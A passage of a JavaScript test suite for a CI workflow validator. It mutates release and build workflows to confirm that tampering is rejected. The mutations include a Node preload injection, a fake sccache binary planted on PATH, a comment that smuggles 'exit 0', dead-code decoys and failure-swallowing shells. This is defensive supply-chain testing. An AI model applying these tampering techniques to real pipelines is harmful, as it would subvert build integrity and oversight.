mkdtempSync(path.join(os.tmpdir(), "codestory-windows-sccache-")); + try { + const extensionlessPath = path.join(directory, "sccache"); + const nativePath = `${extensionlessPath}.exe`; + const captureOutput = path.join(directory, "capture-output"); + const nativeCalls = path.join(directory, "native-calls"); + const decoyCalls = path.join(directory, "decoy-calls"); + const decoyDirectory = path.join(directory, "decoy"); + const decoyPath = path.join(decoyDirectory, "sccache"); + mkdirSync(decoyDirectory); + writeFileSync( + nativePath, + "#!/bin/sh\nprintf '%s\\n' \"$*\" >> \"$SCCACHE_CALL_LOG\"\n", + ); + chmodSync(nativePath, 0o755); + writeFileSync( + decoyPath, + "#!/bin/sh\nprintf '%s\\n' \"$*\" >> \"$DECOY_CALL_LOG\"\n", + ); + chmodSync(decoyPath, 0o755); + writeFileSync(captureOutput, ""); + writeFileSync(nativeCalls, ""); + writeFileSync(decoyCalls, ""); + + const workflow = loadWorkflows().get("packaged-platform-proof.yml"); + const captureRun = draftStep( + workflow.jobs.build, + "Capture pinned sccache identity", + ).run; + const captureResult = spawnSync( + "bash", + ["-c", `command() { + if [[ "$1" == "-v" && "$2" == "sccache" ]]; then + printf '%s\\n' "$SYNTHETIC_SCCACHE_COMMAND" + else + builtin command "$@" + fi +} +test() { + if [[ "$1" == "-x" && "$2" == "$SYNTHETIC_SCCACHE_COMMAND" ]]; then + return 0 + fi + builtin test "$@" +} +${captureRun}`], + { + encoding: "utf8", + env: { + ...process.env, + GITHUB_OUTPUT: captureOutput, + RUNNER_OS: "Windows", + SYNTHETIC_SCCACHE_COMMAND: extensionlessPath, + }, + }, + ); + assert.equal( + captureResult.status, + 0, + `capture failed:\n${captureResult.stdout}\n${captureResult.stderr}`, + ); + const captured = Object.fromEntries( + readFileSync(captureOutput, "utf8") + .trim() + .split("\n") + .map(line => { + const separator = line.indexOf("="); + return [line.slice(0, separator), line.slice(separator + 1)]; + }), + ); + assert.equal(captured.path, nativePath); + assert.equal( + captured.sha256, + createHash("sha256").update(readFileSync(nativePath)).digest("hex"), + ); + + const finalizerRun = draftStep( + workflow.jobs.build, + "Finalize compiler objects", + ).run; + const finalizerResult = spawnSync("bash", ["-c", finalizerRun], { + encoding: "utf8", + env: { + ...process.env, + DECOY_CALL_LOG: decoyCalls, + PATH: `${decoyDirectory}:${process.env.PATH}`, + SCCACHE_BINARY: captured.path, + SCCACHE_CALL_LOG: nativeCalls, + SCCACHE_SHA256: captured.sha256, + }, + }); + assert.equal( + finalizerResult.status, + 0, + `finalizer failed:\n${finalizerResult.stdout}\n${finalizerResult.stderr}`, + ); + assert.equal(readFileSync(nativeCalls, "utf8"), "--show-stats\n--stop-server\n"); + assert.equal(readFileSync(decoyCalls, "utf8"), ""); + } finally { + rmSync(directory, { force: true, recursive: true }); + } +}); + +test("exact-head source proof owns Windows path and native-staging harnesses", async (t) => { + assert.deepEqual(validateWorkflows(loadWorkflows()), []); + const file = "source-proof.yml"; + const mutations = [ + ["job is removed", workflow => { + delete workflow.jobs["windows-native-contracts"]; + }], + ["job becomes advisory", workflow => { + workflow.jobs["windows-native-contracts"]["continue-on-error"] = true; + }], + ["checkout stops using the resolved head", workflow => { + workflow.jobs["windows-native-contracts"].steps[0].with.ref = "dev/codestory-next"; + }], + ["path identity is omitted", workflow => { + const step = draftStep( + workflow.jobs["windows-native-contracts"], + "Prove Windows path and native-staging source contracts", + ); + step.run = step.run.replace( + "-p codestory-workspace --test windows_path_identity `\n", + "", + ); + }], + ["native staging is omitted", workflow => { + const step = draftStep( + workflow.jobs["windows-native-contracts"], + "Prove Windows path and native-staging source contracts", + ); + step.run = step.run.replace( + "-p codestory-llama-sys --test native_staging", + "-p codestory-llama-sys", + ); + }], + ["source contracts compile twice", workflow => { + const step = draftStep( + workflow.jobs["windows-native-contracts"], + "Prove Windows path and native-staging source contracts", + ); + step.run += "\ncargo test --release --locked -p codestory-workspace"; + }], + ]; + + for (const [name, mutate] of mutations) { + await t.test(name, () => { + const workflows = loadWorkflows(); + mutate(workflows.get(file)); + assert.match( + validateWorkflows(workflows).join("\n"), + /Windows native source contracts|Prove Windows path and native-staging source contracts|Windows path and native-staging contracts/u, + ); + }); + } +}); + +test("reusable compiler caches and proof modes reject hostile downgrades", async (t) => { + assert.deepEqual(validateWorkflows(loadWorkflows()), []); + + const sourceFile = "source-proof.yml"; + const packagedFile = "packaged-platform-proof.yml"; + const coordinatorFile = "packaged-platform-pr.yml"; + const releaseFile = "release.yml"; + const sourceJob = workflow => workflow.jobs["full-source-gate"]; + const packagedJob = workflow => workflow.jobs.build; + const sourceIdentity = workflow => + draftStep(sourceJob(workflow), "Capture reusable build cache contract"); + const packagedIdentity = workflow => + draftStep(packagedJob(workflow), "Capture reusable build cache contract"); + + const mutations = [ + ["packaged workflow injects an earlier Node preload", packagedFile, workflow => { + workflow.env.NODE_OPTIONS = "--require ./fake-hash.cjs"; + }, /packaged-platform-proof\.yml must match the reviewed canonical workflow structure/u], + ["release workflow policy loses its full history", releaseFile, workflow => { + delete workflow.jobs["workflow-policy"].steps[0].with; + }, /workflow-policy must check out full history for the reuse-binding contracts/u], + ["marketplace preflight proves the live revision against a fixture", releaseFile, workflow => { + const step = draftStep(workflow.jobs["preflight"], "Prove the public marketplace install path"); + step.run = step.run.replace('--marketplace-revision "$fixture_revision"', '--marketplace-revision "$marketplace_revision"'); + }, /--marketplace-revision "\$fixture_revision"/u], + ["source compiler restore becomes exact-SHA-only", sourceFile, workflow => { + draftStep(sourceJob(workflow), "Restore compatible compiler objects") + .with["restore-keys"] = "${{ steps.build-cache.outputs.compiler-key }}"; + }, /source-proof\.yml compiler cache must restore the newest compatible prior candidate/u], + ["packaged compiler restore becomes exact-SHA-only", packagedFile, workflow => { + draftStep(packagedJob(workflow), "Restore compatible compiler objects") + .with["restore-keys"] = "${{ steps.build-cache.outputs.compiler-key }}"; + }, /packaged-platform-proof\.yml compiler cache must restore the newest compatible prior candidate/u], + ["packaged dependency restore accepts stale inputs", packagedFile, workflow => { + draftStep(packagedJob(workflow), "Restore Cargo dependency inputs") + .with["restore-keys"] = "codestory-release-dependencies-"; + }, /dependency cache must be exact-input-only and exclude compiler output/u], + ["source dependency cache escapes isolation", sourceFile, workflow => { + draftStep(sourceJob(workflow), "Restore Cargo dependency inputs") + .with.path = "~/.cargo/registry\n~/.cargo/git"; + }, /dependency cache must be exact-input-only and exclude compiler output/u], + ["packaged dependency cache escapes isolation", packagedFile, workflow => { + draftStep(packagedJob(workflow), "Restore Cargo dependency inputs") + .with.path = "~/.cargo/registry\n~/.cargo/git"; + }, /dependency cache must be exact-input-only and exclude compiler output/u], + ["packaged dependency cache loses its bound", packagedFile, workflow => { + delete workflow.env.CARGO_DEPENDENCY_CACHE_MAX_BYTES; + }, /must pin bounded compiler and dependency caches/u], + ["packaged Windows compiler cache loses its mixed-workload bound", packagedFile, workflow => { + workflow.env.WINDOWS_SCCACHE_CACHE_SIZE = "1G"; + }, /must pin bounded compiler and dependency caches/u], + ["source invalidation loses Cargo.lock", sourceFile, workflow => { + sourceIdentity(workflow).run = sourceIdentity(workflow).run + .replace("--lock-file Cargo.lock", "--lock-file Cargo.toml"); + }, /source-proof\.yml must compute one reusable compiler compatibility contract/u], + ["source invalidation loses Cargo config", sourceFile, workflow => { + sourceIdentity(workflow).run = sourceIdentity(workflow).run + .replace("--cargo-config .cargo/config.toml", "--cargo-config Cargo.toml"); + }, /source-proof\.yml must compute one reusable compiler compatibility contract/u], + ["source invalidation loses feature set", sourceFile, workflow => { + sourceIdentity(workflow).run = sourceIdentity(workflow).run + .replace( + "--features workspace-test-default-and-clippy-all-targets-all-features", + "--features default", + ); + }, /source-proof\.yml must compute one reusable compiler compatibility contract/u], + ["source invalidation loses workspace manifests", sourceFile, workflow => { + sourceIdentity(workflow).run = sourceIdentity(workflow).run + .replace("git ls-files '*Cargo.toml'", "printf '%s\\n' Cargo.toml"); + }, /source-proof\.yml must compute one reusable compiler compatibility contract/u], + ["packaged invalidation loses Rust version", packagedFile, workflow => { + packagedIdentity(workflow).run = packagedIdentity(workflow).run + .replace('--rust-version "$rust_version"', "--rust-release ignored"); + }, /packaged-platform-proof\.yml must compute one complete reusable compiler compatibility contract/u], + ["packaged invalidation loses target", packagedFile, workflow => { + packagedIdentity(workflow).run = packagedIdentity(workflow).run + .replace('--target "${{ matrix.rust_target }}"', "--architecture ignored"); + }, /packaged-platform-proof\.yml must compute one complete reusable compiler compatibility contract/u], + ["packaged invalidation loses feature set", packagedFile, workflow => { + packagedIdentity(workflow).run = packagedIdentity(workflow).run + .replace("--features codestory-cli-default-features", "--features default"); + }, /packaged-platform-proof\.yml must compute one complete reusable compiler compatibility contract/u], + ["packaged invalidation loses native toolchain", packagedFile, workflow => { + packagedIdentity(workflow).run = packagedIdentity(workflow).run + .replace('--native-toolchain "$native_toolchain"', "--toolchain ignored"); + }, /packaged-platform-proof\.yml must compute one complete reusable compiler compatibility contract/u], + ["packaged invalidation loses generator", packagedFile, workflow => { + packagedIdentity(workflow).run = packagedIdentity(workflow).run + .replace('--generator "$generator"', "--build-system ignored"); + }, /packaged-platform-proof\.yml must compute one complete reusable compiler compatibility contract/u], + ["packaged invalidation loses CMake", packagedFile, workflow => { + packagedIdentity(workflow).run = packagedIdentity(workflow).run + .replace('--cmake-version "$cmake_version"', "--cmake ignored"); + }, /packaged-platform-proof\.yml must compute one complete reusable compiler compatibility contract/u], + ["packaged invalidation loses Ninja", packagedFile, workflow => { + packagedIdentity(workflow).run = packagedIdentity(workflow).run + .replace('--ninja-version "$ninja_version"', "--ninja ignored"); + }, /packaged-platform-proof\.yml must compute one complete reusable compiler compatibility contract/u], + ["packaged invalidation loses Cargo.lock", packagedFile, workflow => { + packagedIdentity(workflow).run = packagedIdentity(workflow).run + .replace("--lock-file Cargo.lock", "--lock-file Cargo.toml"); + }, /packaged-platform-proof\.yml must compute one complete reusable compiler compatibility contract/u], + ["packaged invalidation loses Cargo config", packagedFile, workflow => { + packagedIdentity(workflow).run = packagedIdentity(workflow).run + .replace("--cargo-config .cargo/config.toml", "--cargo-config Cargo.toml"); + }, /packaged-platform-proof\.yml must compute one complete reusable compiler compatibility contract/u], + ["packaged invalidation loses workspace manifests", packagedFile, workflow => { + packagedIdentity(workflow).run = packagedIdentity(workflow).run + .replace("git ls-files '*Cargo.toml'", "printf '%s\\n' Cargo.toml"); + }, /packaged-platform-proof\.yml must compute one complete reusable compiler compatibility contract/u], + ["packaged invalidation loses Windows native installer", packagedFile, workflow => { + packagedIdentity(workflow).run = packagedIdentity(workflow).run + .replace(".github/scripts/install-windows-vulkan-sdk.ps1", "ignored-windows-input"); + }, /packaged-platform-proof\.yml must compute one complete reusable compiler compatibility contract/u], + ["packaged invalidation loses Linux Dockerfile", packagedFile, workflow => { + packagedIdentity(workflow).run = packagedIdentity(workflow).run + .replace(".github/docker/linux-glibc-build.Dockerfile", ".github/docker/ignored.Dockerfile"); + }, /packaged-platform-proof\.yml must compute one complete reusable compiler compatibility contract/u], + ["packaged invalidation loses Linux glslc inputs", packagedFile, workflow => { + packagedIdentity(workflow).run = packagedIdentity(workflow).run + .replace(".github/docker/glslc", ".github/docker/ignored-glslc"); + }, /packaged-platform-proof\.yml must compute one complete reusable compiler compatibility contract/u], + ["packaged invalidation loses Linux build image", packagedFile, workflow => { + packagedIdentity(workflow).run = packagedIdentity(workflow).run + .replace("LINUX_GLIBC_BUILD_IMAGE", "UNPINNED_BUILD_IMAGE"); + }, /packaged-platform-proof\.yml must compute one complete reusable compiler compatibility contract/u], + ["packaged invalidation loses Linux glslc image", packagedFile, workflow => { + packagedIdentity(workflow).run = packagedIdentity(workflow).run + .replace("LINUX_GLSLC_IMAGE", "UNPINNED_GLSLC_IMAGE"); + }, /packaged-platform-proof\.yml must compute one complete reusable compiler compatibility contract/u], + ["packaged workload variants collide", packagedFile, workflow => { + packagedIdentity(workflow).run = packagedIdentity(workflow).run + .replace( + '--identity "qualification_driver=$INCLUDE_QUALIFICATION_DRIVER"', + "--workload ignored", + ); + }, /packaged-platform-proof\.yml must compute one complete reusable compiler compatibility contract/u], + ["pinned sccache identity capture moves away from installation", packagedFile, workflow => { + moveNamedStepAfter( + packagedJob(workflow), + "Capture pinned sccache identity", + "Configure bounded compiler cache", + ); + }, /must capture the pinned sccache identity immediately after installation/u], + ["pinned sccache identity capture stops hashing the binary", packagedFile, workflow => { + const capture = draftStep(packagedJob(workflow), "Capture pinned sccache identity"); + capture.run = capture.run.replace( + 'createHash("sha256").update(readFileSync(process.argv[1])).digest("hex")', + '"unverified"', + ); + }, /pinned sccache identity capture script exactly/u], + ["Windows sccache identity strips the native extension", packagedFile, workflow => { + const capture = draftStep(packagedJob(workflow), "Capture pinned sccache identity"); + capture.run = capture.run.replace( + 'sccache_path="${sccache_path}.exe"', + 'sccache_path="${sccache_path%.exe}"', + ); + }, /pinned sccache identity capture script exactly/u], + ["sccache identity returns to PATH after native resolution", packagedFile, workflow => { + const capture = draftStep(packagedJob(workflow), "Capture pinned sccache identity"); + capture.run = capture.run.replace( + 'test -f "$sccache_path"', + 'sccache_path="$(command -v sccache)"\ntest -f "$sccache_path"', + ); + }, /pinned sccache identity capture script exactly/u], + ["sccache identity hashes one path and retains another", packagedFile, workflow => { + const capture = draftStep(packagedJob(workflow), "Capture pinned sccache identity"); + capture.run = capture.run.replace( + 'echo "path=$sccache_path"', + 'echo "path=$(command -v sccache)"', + ); + }, /pinned sccache identity capture script exactly/u], + ["source compiler cache waits for tests", sourceFile, workflow => { + moveNamedStepAfter( + sourceJob(workflow), + "Save compiler objects after compilation", + "Test the complete workspace once", + ); + }, /source-proof\.yml compiler cache must save before test execution or release-cell failure/u], + ["packaged compiler cache waits for product feature proof", packagedFile, workflow => { + moveNamedStepAfter( + packagedJob(workflow), + "Save compiler objects after compilation", + "Prove production feature identity on Windows", + ); + }, /compiler cache must save before late Prove production feature identity on Windows failure/u], + ["packaged compiler cache waits for signing", packagedFile, workflow => { + moveNamedStepAfter( + packagedJob(workflow), + "Save compiler objects after compilation", + "Sign and notarize macOS CLI", + ); + }, /compiler cache must save before late Sign and notarize macOS CLI failure/u], + ["packaged compiler cache waits for packaging", packagedFile, workflow => { + moveNamedStepAfter( + packagedJob(workflow), + "Save compiler objects after compilation", + "Package release asset", + ); + }, /compiler cache must save before late Package release asset failure/u], + ["packaged compile timer includes cache uploads", packagedFile, workflow => { + moveNamedStepAfter( + packagedJob(workflow), + "Stop compilation clock", + "Save compiler objects after compilation", + ); + }, /compile and compiler-cache-save timings must cover only their named stages/u], + ["source compile telemetry omits its end boundary", sourceFile, workflow => { + const report = draftStep(sourceJob(workflow), "Report compiler cache save"); + report.run = report.run.replace('--ended-ms "$ENDED_MS" \\\n', ""); + }, /step Report compiler cache save must run --ended-ms/u], + ["source cache restores Cargo target output", sourceFile, workflow => { + const restore = draftStep(sourceJob(workflow), "Restore compatible compiler objects"); + restore.with.path += "\ntarget"; + }, /source-proof\.yml cache paths must exclude Cargo target and exact proof outputs/u], + ["packaged cache restores release-dist", packagedFile, workflow => { + const restore = draftStep(packagedJob(workflow), "Restore compatible compiler objects"); + restore.with.path += "\nrelease-dist"; + }, /packaged-platform-proof\.yml cache paths must exclude Cargo target, native seeds, models, proofs, and exact archives/u], + ["packaged cache restores an exact archive", packagedFile, workflow => { + const restore = draftStep(packagedJob(workflow), "Restore compatible compiler objects"); + restore.with.path += "\n/tmp/codestory-linux-x64.tar.gz"; + }, /packaged-platform-proof\.yml cache paths must exclude Cargo target, native seeds, models, proofs, and exact archives/u], + ["packaged cache saves proof output", packagedFile, workflow => { + const save = draftStep(packagedJob(workflow), "Save compiler objects after compilation"); + save.with.path += "\ntarget/notarization-proof"; + }, /packaged-platform-proof\.yml cache paths must exclude Cargo target, native seeds, models, proofs, and exact archives/u], + ["package dispatch mode is removed", coordinatorFile, workflow => { + workflow.on.workflow_dispatch.inputs.mode.options + = workflow.on.workflow_dispatch.inputs.mode.options.filter(mode => mode !== "package"); + }, /packaged-platform-pr\.yml dispatch modes changed/u], + ["package mode skips archive construction", coordinatorFile, workflow => { + workflow.jobs["packaged-proof"].if = workflow.jobs["packaged-proof"].if + .replace("needs.route.outputs.mode == 'package' || ", ""); + }, /package and platform modes must build fresh archives while only qualification runs the cold Linux boundary/u], + ["package mode enables frozen Linux qualification", coordinatorFile, workflow => { + workflow.jobs["packaged-proof"].with.hermetic_linux = true; + }, /package and platform modes must build fresh archives while only qualification runs the cold Linux boundary/u], + ["qualification mode disables frozen Linux qualification", coordinatorFile, workflow => { + workflow.jobs["packaged-proof"].with.hermetic_linux = false; + }, /package and platform modes must build fresh archives while only qualification runs the cold Linux boundary/u], + ["platform mode enables frozen Linux qualification", coordinatorFile, workflow => { + workflow.jobs["packaged-proof"].with.hermetic_linux + = "${{ needs.route.outputs.mode == 'platform' }}"; + }, /package and platform modes must build fresh archives while only qualification runs the cold Linux boundary/u], + ["package mode enables protected Metal proof", coordinatorFile, workflow => { + workflow.jobs["macos-metal-proof"].if = workflow.jobs["macos-metal-proof"].if + .replace("needs.route.outputs.mode != 'package' &&", ""); + }, /package-only mode must skip protected Metal proof/u], + ["package mode enables protected Windows proof", coordinatorFile, workflow => { + workflow.jobs["windows-vulkan-proof"].if = workflow.jobs["windows-vulkan-proof"].if + .replace("needs.route.outputs.mode != 'package' &&", ""); + }, /package-only mode must skip Windows without serializing it behind Metal/u], + ["package mode enables protected Linux proof", coordinatorFile, workflow => { + workflow.jobs["linux-vulkan-proof"].if = workflow.jobs["linux-vulkan-proof"].if + .replace("needs.route.outputs.mode != 'package' &&", ""); + }, /package-only and qualification modes must skip coordinator Linux proof/u], + ["calibration mode restores hosted Linux CPU calibration", coordinatorFile, workflow => { + workflow.jobs["calibration-linux"] = { + if: "needs.route.outputs.mode == 'calibration'", + needs: "route", + uses: "./.github/workflows/packaged-platform-proof.yml", + with: { + version: "${{ needs.route.outputs.version }}", + ref: "${{ needs.route.outputs.head_sha }}", + calibration_mode: true, + }, + }; + }, /calibration must not schedule hosted Linux CPU/u], + ["coordinator adds a macOS source hard gate", coordinatorFile, workflow => { + workflow.jobs["macos-source"] = { + "runs-on": "macos-14", + steps: [], + }; + }, /packaged-platform-pr\.yml standard coordinator must not add a macOS source hard gate/u], + ["package matrix repeats frozen Linux qualification", packagedFile, workflow => { + packagedJob(workflow).steps.push(structuredClone(draftStep( + workflow.jobs["frozen-linux-qualification"], + "Prove fresh-target Node-absent network-denied Cargo release boundary", + ))); + }, /matrix package jobs must not repeat the frozen Linux Cargo boundary/u], + ["frozen Linux qualification becomes unconditional", packagedFile, workflow => { + workflow.jobs["frozen-linux-qualification"].if = "always()"; + }, /frozen Linux Cargo boundary must be one explicit post-package job/u], + ["frozen Linux qualification restores exact archives", packagedFile, workflow => { + workflow.jobs["frozen-linux-qualification"].steps.push({ + name: "Restore exact package archive", + uses: "actions/cache/restore@v5", + with: { + path: "release-dist/codestory-linux-x64.tar.gz", + key: "forbidden-exact-archive", + }, + }); + }, /frozen Linux fresh-target qualification must not restore compiler output/u], + ["Linux compiler cache omits server shutdown", packagedFile, workflow => { + const build = draftStep(packagedJob(workflow), "Build Linux x64 at the glibc 2.31 baseline"); + build.run = build.run.replace("/sccache/sccache --stop-server", "true"); + }, /Linux container build and compiler-server ownership script exactly/u], + ["Linux compiler cache makes statistics advisory", packagedFile, workflow => { + const build = draftStep(packagedJob(workflow), "Build Linux x64 at the glibc 2.31 baseline"); + build.run = build.run.replace( + "/sccache/sccache --show-stats", + "/sccache/sccache --show-stats || true", + ); + }, /Linux container build and compiler-server ownership script exactly/u], + ["Linux compiler cache makes shutdown advisory", packagedFile, workflow => { + const build = draftStep(packagedJob(workflow), "Build Linux x64 at the glibc 2.31 baseline"); + build.run = build.run.replace( + "/sccache/sccache --stop-server", + "/sccache/sccache --stop-server || true", + ); + }, /Linux container build and compiler-server ownership script exactly/u], + ["Linux compiler shutdown is parked in dead code", packagedFile, workflow => { + const build = draftStep(packagedJob(workflow), "Build Linux x64 at the glibc 2.31 baseline"); + build.run = `if false; then\n${build.run}\nfi\n`; + }, /Linux container build and compiler-server ownership script exactly/u], + ["Linux compiler shutdown hides behind an exact dead-code decoy", packagedFile, workflow => { + const build = draftStep(packagedJob(workflow), "Build Linux x64 at the glibc 2.31 baseline"); + build.run = build.run.replace( + "/sccache/sccache --stop-server", + "/sccache/sccache --stop-server || true", + ); + build.run += "\nif false; then\n /sccache/sccache --stop-server\nfi\n"; + }, /Linux container build and compiler-server ownership script exactly/u], + ["Linux compiler shutdown escapes through a stripped quote-context comment", packagedFile, workflow => { + const build = draftStep(packagedJob(workflow), "Build Linux x64 at the glibc 2.31 baseline"); + build.run = build.run.replace( + " /sccache/sccache --show-stats", + " # '; exit 0; : '\n /sccache/sccache --show-stats", + ); + }, /Linux container build and compiler-server ownership script exactly/u], + ["Linux compiler shutdown is inverted", packagedFile, workflow => { + const build = draftStep(packagedJob(workflow), "Build Linux x64 at the glibc 2.31 baseline"); + build.run = build.run.replace("docker run --rm", "! docker run --rm"); + }, /Linux container build and compiler-server ownership script exactly/u], + ["Linux compiler shutdown is bypassed by an early exit", packagedFile, workflow => { + const build = draftStep(packagedJob(workflow), "Build Linux x64 at the glibc 2.31 baseline"); + build.run = `exit 0\n${build.run}`; + }, /Linux container build and compiler-server ownership script exactly/u], + ["Linux compiler build shell absorbs failure", packagedFile, workflow => { + draftStep( + packagedJob(workflow), + "Build Linux x64 at the glibc 2.31 baseline", + ).shell = "bash {0} || true"; + }, /Linux container must strictly report and stop its owned compiler server/u], + ["Linux compiler cache step becomes advisory", packagedFile, workflow => { + draftStep( + packagedJob(workflow), + "Build Linux x64 at the glibc 2.31 baseline", + )["continue-on-error"] = true; + }, /Linux container must strictly report and stop its owned compiler server/u], + ["Linux compiler cache rebinds the pinned binary", packagedFile, workflow => { + draftStep( + packagedJob(workflow), + "Build Linux x64 at the glibc 2.31 baseline", + ).env.SCCACHE_BINARY = "sccache"; + }, /Linux container must strictly report and stop its owned compiler server/u], + ["Linux gains a host compiler finalizer fallback", packagedFile, workflow => { + draftStep(packagedJob(workflow), "Finalize compiler objects").if = + "always() && ((matrix.asset_target == 'linux-x64' && steps.linux-build.outcome == 'success') || (matrix.asset_target != 'linux-x64' && steps.package-build.outcome == 'success'))"; + }, /host finalizer must strictly stop only the host package-build compiler server/u], + ["host package build becomes Linux-reachable", packagedFile, workflow => { + draftStep( + packagedJob(workflow), + "Build package and qualification driver", + ).if = "always()"; + }, /host finalizer must strictly stop only the host package-build compiler server/u], + ["clock stop prepends a fake compiler cache binary", packagedFile, workflow => { + const stop = draftStep(packagedJob(workflow), "Stop compilation clock"); + stop.run += [ + "", + 'fake_dir="$RUNNER_TEMP/fake-sccache"', + 'mkdir -p "$fake_dir"', + "printf '#!/usr/bin/env bash\\nexit 0\\n' > \"$fake_dir/sccache\"", + 'chmod +x "$fake_dir/sccache"', + 'echo "$fake_dir" >> "$GITHUB_PATH"', + ].join("\n"); + }, /compiler clock stop script exactly/u], + ["clock stop shell absorbs failure", packagedFile, workflow => { + draftStep(packagedJob(workflow), "Stop compilation clock").shell = "bash {0} || true"; + }, /compiler clock stop must remain a strict telemetry-only boundary/u], + ["a prep step is inserted before compiler finalization", packagedFile, workflow => { + const steps = packagedJob(workflow).steps; + const finalizeIndex = steps.findIndex(step => step.name === "Finalize compiler objects"); + steps.splice(finalizeIndex, 0, { + name: "Shadow compiler cache", + shell: "bash", + run: 'echo "$RUNNER_TEMP/fake-sccache" >> "$GITHUB_PATH"', + }); + }, /compiler owner build, clock stop, and finalizer must remain adjacent/u], + ["host compiler statistics become advisory", packagedFile, workflow => { + const finalize = draftStep(packagedJob(workflow), "Finalize compiler objects"); + finalize.run = finalize.run.replace( + '"$SCCACHE_BINARY" --show-stats', + '"$SCCACHE_BINARY" --show-stats || true', + ); + }, /host compiler-server finalizer script exactly/u], + ["host compiler shutdown becomes advisory", packagedFile, workflow => { + const finalize = draftStep(packagedJob(workflow), "Finalize compiler objects"); + finalize.run = finalize.run.replace( + '"$SCCACHE_BINARY" --stop-server', + '"$SCCACHE_BINARY" --stop-server || true', + ); + }, /host compiler-server finalizer script exactly/u], + ["host compiler shutdown hides behind exact dead-code decoys", packagedFile, workflow => { + const finalize = draftStep(packagedJob(workflow), "Finalize compiler objects"); + finalize.run = [ + "sccache --show-stats || true", + "sccache --stop-server || true", + "if false; then", + " sccache --show-stats", + " sccache --stop-server", + "fi", + ].join("\n"); + }, /host compiler-server finalizer script exactly/u], + ["host compiler finalizer shell absorbs failure", packagedFile, workflow => { + draftStep( + packagedJob(workflow), + "Finalize compiler objects", + ).shell = "bash {0} || true"; + }, /host finalizer must strictly stop only the host package-build compiler server/u], + ["host compiler finalizer step becomes advisory", packagedFile, workflow => { + draftStep( + packagedJob(workflow), + "Finalize compiler objects", + )["continue-on-error"] = true; + }, /host finalizer must strictly stop only the host package-build compiler server/u], + ["host compiler finalizer rebinds the pinned binary", packagedFile, workflow => { + draftStep( + packagedJob(workflow), + "Finalize compiler objects", + ).env.SCCACHE_BINARY = "sccache"; + }, /host finalizer must strictly stop only the host package-build compiler server/u], + ["host compiler finalizer resolves through PATH again", packagedFile, workflow => { + const finalize = draftStep(packagedJob(workflow), "Finalize compiler objects"); + finalize.run = finalize.run.replace( + '"$SCCACHE_BINARY" --show-stats', + "sccache --show-stats", + ); + }, /host compiler-server finalizer script exactly/u], + ["package checkout accepts a fallback SHA", packagedFile, workflow => { + draftStep(packagedJob(workflow), "Checkout").with.ref = "${{ inputs.ref || github.sha }}"; + }, /package jobs must checkout only the requested exact SHA/u], + ["package smoke loses source identity", packagedFile, workflow => { + const smoke = draftStep(packagedJob(workflow), "Smoke packaged release asset"); + smoke.run = smoke.run.replace('--expected-source-sha "$SOURCE_SHA" \\\n', ""); + }, /step Smoke packaged release asset must run --expected-source-sha/u], + ["fresh package identity is reported after upload", packagedFile, workflow => { + moveNamedStepAfter( + packagedJob(workflow), + "Report fresh package identity", + "Upload release asset", + ); + }, /must report a verified fresh archive identity before upload/u], + ["release repeats frozen Linux qualification", releaseFile, workflow => { + workflow.jobs["packaged-proof"].with.hermetic_linux = true; + }, /release\.yml main release must not repeat frozen-candidate Linux qualification/u], + ]; + + for (const [name, file, mutate, expectedReason] of mutations) { + await t.test(name, () => { + const workflows = loadWorkflows(); + mutate(workflows.get(file)); + assert.match(validateWorkflows(workflows).join("\n"), expectedReason); + }); + } +}); + +test("standard release paths reject calibration plumbing", async (t) => { + assert.deepEqual(validateWorkflows(loadWorkflows()), []); + + const mutations = [ + ["auto-release forwards calibration", workflows => { + workflows.get("auto-release.yml").jobs.release.with.calibration_bundle_artifact + = "${{ vars.CODESTORY_CALIBRATION_BUNDLE_ARTIFACT }}"; + }, /auto-release\.yml standard release path must not reference calibration/u], + ["release accepts calibration input", workflows => { + workflows.get("release.yml").on.workflow_call.inputs.calibration_bundle_artifact = { + required: true, + type: "string", + }; + }, /release\.yml must not accept calibration bundle inputs/u], + ["release forwards calibration to package proof", workflows => { + workflows.get("release.yml").jobs["packaged-proof"].with.calibration_bundle_run_id + = "${{ inputs.calibration_bundle_run_id }}"; + }, /release\.yml packaged proof must not receive calibration_bundle_run_id/u], + ["release restores a second source proof fallback", workflows => { + workflows.get("release.yml").jobs["source-proof"].if = "always()"; + }, /source proof may be skipped only when preflight resolved reusable evidence/u], + ["post-publish proof receives calibration", workflows => { + const step = draftStep( + workflows.get("post-publish-release-smoke.yml").jobs.smoke, + "Prove the catalog-resolved published runtime", + ); + step.run += '\n--calibration-bundle "$calibration_bundle"'; + }, /post-publish-release-smoke\.yml standard release path must not reference calibration/u], + ["accelerator cell claims calibration identity", workflows => { + const step = draftStep( + workflows.get("macos-metal-proof.yml").jobs["packaged-metal"], + "Emit authenticated Metal release cell", + ); + step.run += "\ncalibration_sha256=forged"; + }, /must not run calibration/u], + ]; + + for (const [name, mutate, expectedReason] of mutations) { + await t.test(name, () => { + const workflows = loadWorkflows(); + mutate(workflows); + assert.match(validateWorkflows(workflows).join("\n"), expectedReason); + }); + } +}); + +test("Cargo lock policy reads executable step commands", () => { + const workflow = parseWorkflow(` +on: { workflow_dispatch: null } +permissions: { contents: read } +jobs: + check: + timeout-minutes: 5 + steps: + - run: | + # cargo test --workspace + cargo test --workspace --locked +`); + assert.deepEqual(basicWorkflowViolations("fixture.yml", workflow), []); + + workflow.jobs.check.steps[0].run += "\ncargo check --workspace\n"; + assert.match(basicWorkflowViolations("fixture.yml", workflow).join("\n"), /must use --locked/u); +}); + +test("draft source cache reuse preserves exact serial proof structure", async (t) => { + assert.deepEqual(draftSourcePolicyViolations(draftSourceJob(), retrievalSourceJob()), []); + + const mutations = [ + ["unversioned primary", job => { + const step = draftStep(job, "Restore Cargo inputs and output"); + step.with.key = step.with.key.replace("-draft-v2-", "-draft-"); + }], + ["lock-only primary", job => { + const step = draftStep(job, "Restore Cargo inputs and output"); + step.with.key = step.with.key.replace(`${cacheManifestIdentity}-`, ""); + }], + ["mismatched proof topology", job => { + const step = draftStep(job, "Restore Cargo inputs and output"); + step.with.key = step.with.key.replace(proofTopology, proofTopology.replace("-v1-", "-v2-")); + }], + ["fallback order reversal", job => { + const step = draftStep(job, "Restore Cargo inputs and output"); + step.with["restore-keys"] = step.with["restore-keys"].trim().split("\n").reverse().join("\n"); + }], + ["overbroad draft fallback", job => { + const step = draftStep(job, "Restore Cargo inputs and output"); + const keys = step.with["restore-keys"].trim().split("\n"); + keys[1] = "${{ runner.os }}-draft-v2-"; + step.with["restore-keys"] = keys.join("\n"); + }], + ["cross-platform fallback", job => { + const step = draftStep(job, "Restore Cargo inputs and output"); + step.with["restore-keys"] = 